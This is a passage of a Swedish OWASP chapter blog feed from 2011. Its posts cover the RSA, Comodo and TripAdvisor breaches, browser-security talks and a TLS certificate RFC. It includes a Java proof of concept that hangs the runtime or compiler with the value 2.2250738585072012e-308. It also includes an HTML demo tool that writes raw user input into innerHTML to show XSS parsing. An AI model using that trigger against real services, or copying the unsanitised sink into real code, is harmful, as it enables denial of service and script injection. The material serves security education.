href="http://www.schneier.com/blog/archives/2011/03/rsa_security_in.html"&gt;kommenterade&lt;/a&gt; med att &lt;i&gt;"Security is all about trust, and when trust is lost there is no security. User's of SecurID trusted RSA Data Security, Inc. to protect the secrets necessary to secure that system. To the extent they did not, the company has lost its customers' trust."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt; &lt;/i&gt;RSA själva har mest ägnat sig åt &lt;a href="http://www.sec.gov/Archives/edgar/data/790070/000119312511070159/dex992.htm"&gt;allmänna råd&lt;/a&gt; och &lt;a href="http://www.rsa.com/node.aspx?id=3872"&gt;vaga uttalanden&lt;/a&gt;.&lt;i&gt; &lt;/i&gt;Därtill definierar de attacken med &lt;i&gt;"... the attack is in the category of an Advanced Persistent Threat (APT)."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Comodo&lt;/b&gt;&lt;br /&gt;Sen var det Comodo, en av våra betrodda CAs för SSL-certifikat som blev hackade. &lt;a href="https://blog.torproject.org/blog/detecting-certificate-authority-compromises-and-web-browser-collusion"&gt;Jacob Applebaum upptäckte det&lt;/a&gt; genom svartlistade cert i en Chromium-uppdatering och &lt;a href="http://www.comodo.com/Comodo-Fraud-Incident-2011-03-23.html"&gt;förövarna hade skapat fullt legitima cert&lt;/a&gt; för:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;login.live.com&lt;/li&gt;&lt;li&gt;mail.google.com&lt;/li&gt;&lt;li&gt;www.google.com&lt;/li&gt;&lt;li&gt;login.yahoo.com (3 certifikat)&lt;/li&gt;&lt;li&gt;login.skype.com&lt;/li&gt;&lt;li&gt;addons.mozilla.org&lt;/li&gt;&lt;li&gt;"Global Trustee"&lt;/li&gt;&lt;/ul&gt;Media och en del säkerhetsfolk har benämnt dessa certifikat som fejkade. Det är inga fejkade certifikat. Det är fullt korrekta certifikat signerade av en betrodd CA. &lt;a href="http://blogs.comodo.com/it-security/data-security/the-recent-ra-compromise/"&gt;Enligt Comodo själva&lt;/a&gt; finns tecken på att attacken kom från Iran: &lt;i&gt;"The IP address of the initial attack was recorded and has been determined to be assigned to an ISP in Iran"&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;Comodo kommenterar attacken med &lt;i&gt;"The perpetrator has executed its attacks with clinical accuracy."&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;TripAdvisor&lt;/b&gt;&lt;br /&gt;Nu senast var det TripAdvisor som &lt;a href="http://www.theregister.co.uk/2011/03/24/tripadvisor_email_database_breach/"&gt;drabbats av intrång&lt;/a&gt; och i ett &lt;a href="http://www.inquisitr.com/101570/tripadvisor-ceo-admits-minor-security-breach-in-email-to-members/"&gt;mejl till alla användare&lt;/a&gt; så berättar de lite grann.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Slutsatser&lt;/b&gt;&lt;br /&gt;Dessa hack får mig att tänka på två saker:&lt;br /&gt;&lt;br /&gt;1) Allt går att hacka. Särskilt om det är kopplat till Internet. När ska vi våga prata om det offentligt? Hur länge håller argumentet att "vanligt folk fattar inte, låt oss inte skrämma upp dem"?&lt;br /&gt;&lt;br /&gt;2) Vi lever fortfarande i en tid då mörkläggning och dimridåer anses vara rimliga alternativ när ett intrång har skett. Därtill har man nu lagt möjligheten att säga att intrånget var så pass avancerat att man inte kunde skydda sig. Undrar hur länge vi kommer acceptera sådana förklaringar utan bevis?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8624579466084491496?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8624579466084491496/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8624579466084491496' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8624579466084491496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8624579466084491496'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/03/allt-gar-att-hacka-rsa-comodo.html' title='Allt går att hacka (RSA, Comodo, TripAdvisor)'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8443782960645975285</id><published>2011-03-09T00:17:00.001+01:00</published><updated>2011-03-11T14:35:10.706+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SVG'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='Mario Heiderich'/><title type='text'>Material från Mario Heiderichs föredrag</title><content type='html'>Mario Heiderich gav två väldigt uppskattade föredrag på OWASP Sweden-kvällen 7/3:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/images/0/03/Mario_Heiderich_OWASP_Sweden_The_image_that_called_me.pdf"&gt;&lt;i&gt;The Image That Called Me (pdf)&lt;/i&gt;&lt;/a&gt; – om SVG-säkerhet&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.owasp.org/images/a/a3/Mario_Heiderich_OWASP_Sweden_Locking_the_throneroom.pdf"&gt;&lt;i&gt;Locking the Throneroom (pdf)&lt;/i&gt;&lt;/a&gt; – om att låsa ner DOM:en för att motverka XSS-attacker&lt;/li&gt;&lt;/ol&gt;Han använde också ett trevligt litet markupverktyg för att dema olika XSS-brister i webbläsare. Det är bara två textfält – i det övre matar du in din markup och i det nedre visas hur webbläsaren tolkar det, dvs det som faktiskt kommer att renderas.&lt;br /&gt;&lt;br /&gt;Verktyget är nedanstående HTML. Bara att spara i en lokal fil och köra.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;meta http-equiv="Content-Type" content="text/xhtml;charset=utf-8" /&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;textarea id="html" style="width:100%;height:190px;"&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;div id="canvas"&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;textarea id="log" style="width:100%;height:190px;"&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;div id="canvas2"&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;var html = document.getElementById('html');&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;var log = document.getElementById('log');&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;var canvas = document.getElementById('canvas');&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;var canvas2 = document.getElementById('canvas2');&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;var updateCanvas = function(){&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; canvas.innerHTML=html.value&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; log.value=canvas.innerHTML;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; canvas2.innerHTML=canvas.innerHTML;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;};&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;html.onkeyup = updateCanvas;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.onload = updateCanvas;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8443782960645975285?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8443782960645975285/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8443782960645975285' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8443782960645975285'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8443782960645975285'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/03/material-fran-mario-heiderichs-foredrag.html' title='Material från Mario Heiderichs föredrag'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-722015417929053706</id><published>2011-02-24T22:54:00.000+01:00</published><updated>2011-02-24T22:54:14.498+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='EcmaScript 5'/><category scheme='http://www.blogger.com/atom/ns#' term='x-frame-options'/><category scheme='http://www.blogger.com/atom/ns#' term='html5'/><category scheme='http://www.blogger.com/atom/ns#' term='content security policy'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM sandbox'/><category scheme='http://www.blogger.com/atom/ns#' term='hsts'/><title type='text'>Framtiden för webbläsarsäkerhet (från OWASP Summit)</title><content type='html'>Jag hade hand om fem sessioner inom området webbläsarsäkerhet på OWASP Summit 2011. Vi hade deltagare från Google Chrome, Mozilla Firefox, Microsoft Internet Explorer, PayPal, Adobe Flash, IETF, ENISA samt några av de grymmaste webbhackers jag känner till – sirdarckcat, .mario, Gareth Heyes, Stefano Di Paola, och Thornmaker.&lt;br /&gt;&lt;br /&gt;Nu har vi precis offentliggjort anteckningarna från dessa fem sessioner. Läs hur diskussionerna gick:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.owasp.org/images/6/6d/OWASPSummit2011SiteSecurityPolicyBrowserSecurityTrack.pdf"&gt;Site Security Policy (pdf)&lt;/a&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.owasp.org/images/0/06/OWASPSummit2011DOMSandboxingBrowserSecurityTrack.pdf"&gt;DOM Sandboxing (pdf)&lt;/a&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.owasp.org/images/c/cd/OWASPSummit2011HTML5SecurityBrowserSecurityTrack.pdf"&gt;HTML5 Security (pdf)&lt;/a&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.owasp.org/images/f/f7/OWASPSummit2011EcmaScript5SecurityBrowserSecurityTrack.pdf"&gt;EcmaScript 5 Security (pdf)&lt;/a&gt;&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;&lt;a href="http://www.owasp.org/images/f/f7/OWASPSummit2011EnduserWarningsBrowserSecurityTrack.pdf"&gt;Enduser Warnings (pdf)&lt;/a&gt;&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-722015417929053706?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/722015417929053706/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=722015417929053706' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/722015417929053706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/722015417929053706'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/02/framtiden-for-webblasarsakerhet-fran.html' title='Framtiden för webbläsarsäkerhet (från OWASP Summit)'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6789227415706285968</id><published>2011-02-04T16:16:00.001+01:00</published><updated>2011-02-04T16:16:54.176+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='https'/><category scheme='http://www.blogger.com/atom/ns#' term='Firesheep'/><title type='text'>Facebook-inställning för HTTPS</title><content type='html'>Facebook erbjuder nu en ny säkerhetsinställning –&amp;nbsp;"Säker anslutning (https)". Antagligen en reaktion på "&lt;a href="http://owaspsweden.blogspot.com/2010/10/firesheep-sa-funkar-det.html"&gt;Firesheep&lt;/a&gt;" som uppmärksammades stort i höstas. Inte alla svenska Facebookanvändare kan göra den nya inställningen än eftersom Facebook lanserar det stegvis.&lt;br /&gt;&lt;br /&gt;Du måste göra inställningen själv. Gör så här:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Klicka på Konto uppe till höger&lt;/li&gt;&lt;li&gt;Välj Kontoinställningar&lt;/li&gt;&lt;li&gt;Klicka på Kontosäkerhet på sidan som öppnats&lt;/li&gt;&lt;li&gt;Kryssa i "Säker anslutning (https)"&lt;/li&gt;&lt;li&gt;Klicka på den blå knappen "Spara".&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6789227415706285968?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6789227415706285968/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6789227415706285968' title='2 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6789227415706285968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6789227415706285968'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/02/facebook-installning-for-https.html' title='Facebook-inställning för HTTPS'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8358791607473590071</id><published>2011-02-03T20:06:00.007+01:00</published><updated>2011-02-03T20:11:30.268+01:00</updated><title type='text'>Mario Heiderich till OWASP Sweden 7/3</title><content type='html'>Måndag 7 mars kommer Mario Heiderich hålla två föredrag för OWASP Sweden. Han ligger bakom t ex &lt;i&gt;&lt;a href="http://heideri.ch/jso/"&gt;HTML5 security cheat-sheet&lt;/a&gt;&lt;/i&gt; och filterreglerna i &lt;a href="http://php-ids.org/"&gt;PHPIDS&lt;/a&gt;. Jättekul att vi har kunnat bjuda in honom!&lt;br /&gt;&lt;br /&gt;Presentation ett&lt;br /&gt;&lt;b&gt;The forbidden image - Security impact of Scalable Vector Graphics on the WWW&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Scalable Vector Graphics are about to conquer the web. Unlike most of their raster based companions from the GIF, PNG and JPEG family, their vector based structure allows to display them on many different devices with various screen sizes without losing visual information. The open XML based SVG sources permit addition of meta data, helping even the visually impaired and blind to get the most out of these images. Additional modules, such as animations, events, SVG fonts, several scripting APIs and inclusion of hyper-links, other images and documents and even arbitrary content from cross-domain sources make SVG the perfect image format for the future WWW.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Nevertheless, a powerful standard such as SVG certainly poses a lot of risks. This presentation provides a close look at SVG from a security perspective. How can attackers abuse this mighty image format, which ways exist to execute script code and worse, and what should web developers and browser vendors consider when dealing with SVG. How will HTML5 change the way to work with SVGs and why does it matter for security professionals to know about things like SVG Tiny, in-line SVG, SVGz and other acronyms from a world where imaging and scripting collide? Besides many examples of malicious SVGs the talk will shed light on a novel filtering tool capable of filtering and sanitizing SVG images without loss of important content.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Presentation två&lt;br /&gt;&lt;b&gt;Locking the Throne Room - ECMA Script 5, a frozen DOM and the eradication of XSS&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Cross Site Scripting has been a topic in countless presentations over the last decade. That easy to grasp but hard to solve problem has been shaking the web and caused major trouble on hundreds to thousands of high traffic and commercial and well as governmental websites. Mitigation techniques have been developed and discussed in depth - starting with restrictive content filters, educational programs and trainings, programmer's best practices and guidelines, proxy filters and many more. Still XSS remains a major problem far from being solved. The multilayer model on which the web relies causes too much reciprocity to find an easy cure - and the DOM as the actually affected layer is still lying unprotected open for the attacker.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;This presentation introduces and discusses a novel approach of encountering XSS and similar attack techniques by making use of several new features included in the ECMA Script 5 specification draft. It will be shown how to create a simple JavaScript to seal important DOM properties, and take away the attackers ability to read and modify sensitive data in a tamper resistant and light-weighted way - without being "too loud". Modern browsers, such as Chrome 8 and Firefox 4, for the first time provide the possibility of creating and using client side IDS/IPS systems, written in JavaScript and running without special execution privileges. The presentation will show how these work, what the implications are, and what the future of XSS mitigation and eradication might look like.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Anmäl er konstnadsfritt här:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://marioheiderich.eventbrite.com/"&gt;http://marioheiderich.eventbrite.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8358791607473590071?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8358791607473590071/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8358791607473590071' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8358791607473590071'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8358791607473590071'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/02/mario-heiderich-till-owasp-sweden-73.html' title='Mario Heiderich till OWASP Sweden 7/3'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7534987995539111163</id><published>2011-02-02T01:22:00.000+01:00</published><updated>2011-02-02T01:22:19.052+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='TLS'/><title type='text'>Ny RFC om server-autentisering vid SSL/TLS</title><content type='html'>I dagarna kom en mycket intressant RFC som precis nått &lt;i&gt;Proposed Standard RFC&lt;/i&gt; inom IETF.&lt;br /&gt;&lt;br /&gt;Drakoniskt namn: &lt;i&gt;Representation and Verification of Domain-Based Application Service Identity within Internet Public Key Infrastructure Using X.509 (PKIX) Certificates in the Context of Transport Layer Security (TLS)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Men den specar hur SSL-cert bör se ut och hur server-autentisering med X.509-cert ska gå till.&lt;br /&gt;&lt;br /&gt;Tre intressanta saker som är med:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sluta ange domännamn i certifikatets &lt;i&gt;Common Name&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Börja ange domännamn i &lt;a href="http://tools.ietf.org/html/rfc5280#section-4.2.1.6" style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;subjectAlternativeName dNSName&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Sluta med joker-certifikat, t ex &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;*.owasp.org&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Här länken: &lt;a href="http://tools.ietf.org/html/draft-saintandre-tls-server-id-check-14"&gt;http://tools.ietf.org/html/draft-saintandre-tls-server-id-check-14&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7534987995539111163?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7534987995539111163/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7534987995539111163' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7534987995539111163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7534987995539111163'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/02/ny-rfc-om-server-autentisering-vid.html' title='Ny RFC om server-autentisering vid SSL/TLS'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-423847535543847442</id><published>2011-02-01T13:21:00.001+01:00</published><updated>2011-02-01T13:21:43.968+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><title type='text'>DoS:a Java med en siffra</title><content type='html'>Ni kanske läste inlägget om att &lt;a href="http://owaspsweden.blogspot.com/2011/01/dosa-php-med-en-siffra.html"&gt;DoS:a PHP med en siffra&lt;/a&gt;? Nu åker Java dit också (se Rick Regans och Konstantin Preissers &lt;a href="http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/"&gt;bloggpost&lt;/a&gt;). Följande försätter Java i en oändlig loop:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;public class RunHang {&lt;br /&gt;&lt;span style="color: white;"&gt;_&lt;/span&gt;public static void main(String[] args) {&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;__&lt;/span&gt;System.out.println("Test:");&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;__&lt;/span&gt;double d = Double.parseDouble("2.2250738585072012e-308");&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="background-color: white; color: white;"&gt;__&lt;/span&gt;System.out.println("Value: " + d);&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;_&lt;/span&gt;}&lt;br /&gt;}&lt;/div&gt;&lt;br /&gt;Och följande hänger &lt;i&gt;kompilatorn&lt;/i&gt;:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;public class CompilerHang {&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;_&lt;/span&gt;public static void main(String[] args) {&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;__&lt;/span&gt;double d = 2.2250738585072012e-308;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;__&lt;/span&gt;System.out.println("Value: " + d);&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="color: white;"&gt;_&lt;/span&gt;}&lt;br /&gt;}&lt;/div&gt;&lt;br /&gt;Vill ni testa? Bara att klona från BitBucket med Mercurial:&lt;br /&gt;&lt;br /&gt;$ hg clone 